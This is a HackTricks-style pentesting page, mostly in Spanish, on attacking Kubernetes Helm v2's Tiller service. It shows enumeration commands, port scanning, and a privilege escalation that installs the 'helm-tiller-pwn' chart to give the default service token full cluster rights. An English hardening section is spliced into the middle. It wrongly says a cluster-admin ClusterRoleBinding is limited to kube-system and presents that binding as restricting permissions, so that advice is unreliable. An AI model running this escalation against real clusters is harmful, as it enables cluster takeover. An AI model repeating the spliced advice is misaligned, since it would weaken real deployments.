hacktricks/network-services-pentesting/44134-pentesting-tiller-helm.md

# Información Básica

Helm es el **gestor de paquetes** para Kubernetes. Permite empaquetar archivos YAML y distribuirlos en repositorios públicos y privados. Estos paquetes se llaman **Helm Charts**. **Tiller** es el **servicio** que se ejecuta por defecto en el puerto 44134 ofreciendo el servicio.

**Puerto por defecto:** 44134
```
PORT      STATE SERVICE VERSION
44134/tcp open  unknown
```
# Enumeración

Si puedes **enumerar pods y/o servicios** de diferentes espacios de nombres, enuméralos y busca aquellos que tengan **"tiller" en su nombre**:
```bash
kubectl get pods | grep -i "tiller"
kubectl get services | grep -i "tiller"
kubectl get pods -n kube-system | grep -i "tiller"
kubectl get services -n kube-system | grep -i "tiller"
kubectl get pods -n <namespace> | grep -i "tiller"
kubectl get services -n <namespace> | grep -i "tiller"
```
## Pentesting Tiller (Helm)

### Introduction

Helm is a package manager for Kubernetes that allows developers and operators to more easily package, configure, and deploy applications and services onto Kubernetes clusters. Helm uses a client-server architecture, where the client is called `helm` and the server is called `tiller`. Tiller runs inside your Kubernetes cluster, and manages releases (installations) of your Helm packages.

### Tiller Security

Tiller is a privileged component of the Kubernetes cluster, with full access to the Kubernetes API and the ability to create, modify, and delete resources in any namespace. This means that if an attacker gains access to Tiller, they can potentially take control of the entire cluster.

By default, Tiller is deployed with full administrative privileges, which makes it a high-value target for attackers. However, there are several steps that can be taken to secure Tiller and reduce the risk of compromise.

### Securing Tiller

#### Disable Tiller

The simplest way to secure Tiller is to disable it entirely. This can be done by running the following command:

```bash
$ helm init --client-only
```

This will initialize Helm without installing Tiller. However, this means that you will not be able to manage releases using Helm, so it may not be a viable option for all use cases.

#### Restrict Tiller's Permissions

If you need to use Tiller, it is recommended that you restrict its permissions as much as possible. This can be done by creating a dedicated service account for Tiller, and assigning it the minimum set of permissions required for your use case.

For example, you can create a service account with the following command:

```bash
$ kubectl create serviceaccount tiller --namespace kube-system
```

And then grant it the `cluster-admin` role with the following command:

```bash
$ kubectl create clusterrolebinding tiller-cluster-rule --clusterrole=cluster-admin --serviceaccount=kube-system:tiller
```

This will give Tiller full administrative privileges, but only within the `kube-system` namespace.

#### Use TLS Encryption

By default, Tiller communicates with the Helm client over an unencrypted connection. This means that any data sent between the client and server can be intercepted and read by an attacker.

To prevent this, it is recommended that you enable TLS encryption for Tiller. This can be done by generating a TLS certificate and key, and configuring Tiller to use them.

For example, you can generate a self-signed TLS certificate and key with the following command:

```bash
$ openssl req -keyout tiller.key -out tiller.crt -newkey rsa:2048 -nodes -subj '/CN=tiller'
```

And then configure Tiller to use them with the following command:

```bash
$ helm init --tiller-tls --tiller-tls-cert tiller.crt --tiller-tls-key tiller.key --tiller-tls-verify
```

This will enable TLS encryption for Tiller, and require the Helm client to verify the server's TLS certificate before connecting.

### Conclusion

Tiller is a critical component of the Helm package manager, but it also represents a potential security risk if not properly secured. By following the best practices outlined in this guide, you can help to reduce the risk of compromise and ensure the security of your Kubernetes cluster.
```bash
kubectl get pods -n kube-system
NAME                                       READY   STATUS             RESTARTS   AGE
kube-scheduler-controlplane                1/1     Running            0          35m
tiller-deploy-56b574c76d-l265z             1/1     Running            0          35m

kubectl get services -n kube-system
NAME            TYPE        CLUSTER-IP     EXTERNAL-IP   PORT(S)                  AGE
kube-dns        ClusterIP   10.96.0.10     <none>        53/UDP,53/TCP,9153/TCP   35m
tiller-deploy   ClusterIP   10.98.57.159   <none>        44134/TCP                35m
```
También podrías intentar encontrar este servicio ejecutándose verificando el puerto 44134:
```bash
sudo nmap -sS -p 44134 <IP>
```
Una vez que lo hayas descubierto, puedes comunicarte con él descargando la aplicación cliente helm. Puedes usar herramientas como `homebrew`, o mirar [**la página oficial de lanzamientos**](https://github.com/helm/helm/releases)**.** Para más detalles, u otras opciones, consulta [la guía de instalación](https://v2.helm.sh/docs/using\_helm/#installing-helm).

Luego, puedes **enumerar el servicio**:
```
helm --host tiller-deploy.kube-system:44134 version
```
## Escalada de privilegios

Por defecto, **Helm2** se instaló en el **namespace kube-system** con **altos privilegios**, por lo que si encuentras el servicio y tienes acceso a él, esto podría permitirte **escalar privilegios**.

Todo lo que necesitas hacer es instalar un paquete como este: [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) que dará acceso al **token de servicio predeterminado a todo en el clúster completo**.
```
git clone https://github.com/Ruil1n/helm-tiller-pwn
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
/pwnchart
```
En [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573) se encuentra la **explicación del ataque**, pero básicamente, si se lee los archivos [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) y [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) dentro de _helm-tiller-pwn/pwnchart/templates/_ se puede ver cómo **se están otorgando todos los privilegios al token predeterminado**.